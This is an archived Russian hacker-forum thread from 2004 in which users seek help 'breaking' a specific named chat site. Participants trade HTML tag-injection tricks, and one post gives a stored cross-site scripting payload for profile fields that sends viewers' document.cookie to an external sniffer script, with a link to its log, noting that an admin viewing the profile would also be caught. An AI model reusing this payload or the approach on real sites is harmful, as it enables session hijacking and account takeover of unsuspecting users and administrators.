PDA

Просмотр полной версии : Фишка в чате

Thief
06.08.2004, 21:13
Фишка №1. В чате разрешен тэг font, точнее только font color, но это только кажется . Итак, пишем прямо в тексте сообщения <font color='00ff00" size=6 face=Impact "'>Hi all!</font>. Что получится из этого, думаю, ясно.

А теперь продолжим эту идею: <font color='00ff00" style="font-size:200px;font-family:Impact;background:url(http://бесплатный сервак.ру/картинка.гиф)" "'>Hi all!</font>

Поидее должны получить текст в 200 пикселей с фоновой картинкой.
Проверьте всё ли я правильно написал, скажите ошибки в тегах пожалуйста. Спасибо. Кстати чат asp.
zFailure
07.08.2004, 09:14
линк на чат дай, посмотрим, скажем....
Fr1k
07.08.2004, 11:22
Та прививильно правилльно.

Но я предепочёл бы по лучше способ
<font align=center STYLE='filter:Glow(Color=#FBA2AF);width:200;FONT-SIZE:62px;color:#000000;FONT-FAMILY:arial;background:url(http://image)'>ФРИК</font>
Fr1k
07.08.2004, 11:23
да! и посмотреть чат желательно б!
Fr1k
07.08.2004, 12:22
Ну а если толоко вать уже с тэгом фонт, то он как и любой тэг может использовать событие тоесть <font onclick=alert("Текст...пробел нужно использовать через юни  ")>ну и т.д. так же как и onmoseower и т.д.
Thief
09.08.2004, 20:53
Название чата http://www.ostrovok.net/ вам распечат в html вот смотрите <html>
<head>
<title>Островок.net - Первый чат на Сахалине.</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<style type="text/css">
&nbsp;<!--
&nbsp; p,td,li { &nbsp;font-family: Arial, Helvetica, sans-serif}
&nbsp;-->
&lt;/style&gt;
<script language=&quot;JavaScript&quot; src=&quot;functions.js&quot;&gt;&lt;/script&gt;
<script language=&quot;JavaScript&quot;&gt;
<!---
mtick=0;
utick=0;
function RefreshFrames(a) {
if(a!='auto'http://forum.antichat.ru/iB_html/non-cgi/emoticons/wink.gif { top.mess.location.reload(); top.users.location.reload(); }
else {
if(mtick&gt;=39) { top.mess.location.href='http://www.ostrovok.net/mess.php'; mtick=0; }
else { mtick++; }
if(utick&gt;=79) { top.users.location.href='http://www.ostrovok.net/users.php'; utick=0; }
else { utick++; }
}
window.setTimeout(&quot;RefreshFrames('auto'http://forum.antichat.ru/iB_html/non-cgi/emoticons/wink.gif&quot;,1000);
}
//-->
&lt;/SCRIPT&gt;
&lt;/head&gt;
&lt;frameset rows=&quot;*,110&quot; frameborder=&quot;No&quot; framespacing=0 bordercolor=&quot;#000000&quot; border=0 onLoad=&quot;javascript:RefreshFrames('auto'http://forum.antichat.ru/iB_html/non-cgi/emoticons/wink.gif;&quot;&quot;&gt;
&nbsp;&lt;frameset cols=&quot;*,200&quot;&gt;
&nbsp; &nbsp;&lt;frame name=&quot;mess&quot; scrolling=&quot;yes&quot; src=&quot;mess.php&quot; frameborder=0 marginheight=0 marginwidth=0&gt;
&nbsp; &nbsp;&lt;frame name=&quot;users&quot; src=&quot;users.php&quot; frameborder=0 marginheight=0 marginwidth=0&gt;
&nbsp;&lt;/frameset&gt;
&nbsp;&lt;frame name=&quot;input&quot; scrolling=&quot;NO&quot; noresize &nbsp;frameborder=0 marginheight=0 marginwidth=0
src=&quot;input.php?&amp;str=&quot;&gt;
&lt;/frameset&gt;
&lt;noframes&gt;&lt;body bgcolor=&quot;#FFFFFF&quot;&gt;&lt;br&gt;
Your browser not support frames.
&lt;/body&gt;&lt;/noframes&gt;
&lt;/html&gt;




я вставил в текст &lt;font align=center STYLE='filter:Glow(Color=#FBA2AF);width:200;FONT-SIZE:62px;color:#000000;FONT-FAMILY:arial;background:url(http://image)'&gt;ФРИК&lt;/font&gt;

В тексте появилось только слово Фрик и что это значит вообщем помогите поломать чат.
10.08.2004, 01:38
Короче, так просто всё не выйдет, вы и так уже всё сами поняли.
И с чего вы взяли, что он фонт колор пропускает?
Thief
10.08.2004, 05:11
Незнаю может пропускает а что пропускает подскажите пожалуйстка. Как его поломать.
zFailure
10.08.2004, 11:47
если в своей инфе указать
URL http://z.ru`&quot; z=`
А о себе ` style=&quot;background:url(javascript:x=new Image()\;x.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie)&quot; z

то любой кто просмотрит вашу инфу в чате
становятся вашими невольными жертвами

http://antichat.ru/sniff/log.php
Thief
10.08.2004, 21:51
А поломать такой чат возможно?
Че Гевара
10.08.2004, 22:00
Это и есть взлом ..
ля-ля
23.08.2004, 22:36
Че Гевара &nbsp;а &nbsp;точнее?
m0nzt3r
27.08.2004, 15:11
2Lya-Lya

Che xochet skazat chto vnedreniye takogo scripta eto uje samo-saboy tak skazat vzlom chata &nbsp;http://forum.antichat.ru/iB_html/non-cgi/emoticons/biggrin.gif &nbsp;ved yesli admin toje posmotrit infu to togda &nbsp;http://forum.antichat.ru/iB_html/non-cgi/emoticons/wink.gif &nbsp; http://forum.antichat.ru/iB_html/non-cgi/emoticons/devil.gif

Pravilno Che Gevara? http://forum.antichat.ru/iB_html/non-cgi/emoticons/turn.gif
Че Гевара
27.08.2004, 15:26
Absolutno verno ... &nbsp;http://forum.antichat.ru/iB_html/non-cgi/emoticons/biggrin.gif
m0nzt3r
27.08.2004, 22:35
lolz http://forum.antichat.ru/iB_html/non-cgi/emoticons/turn.gif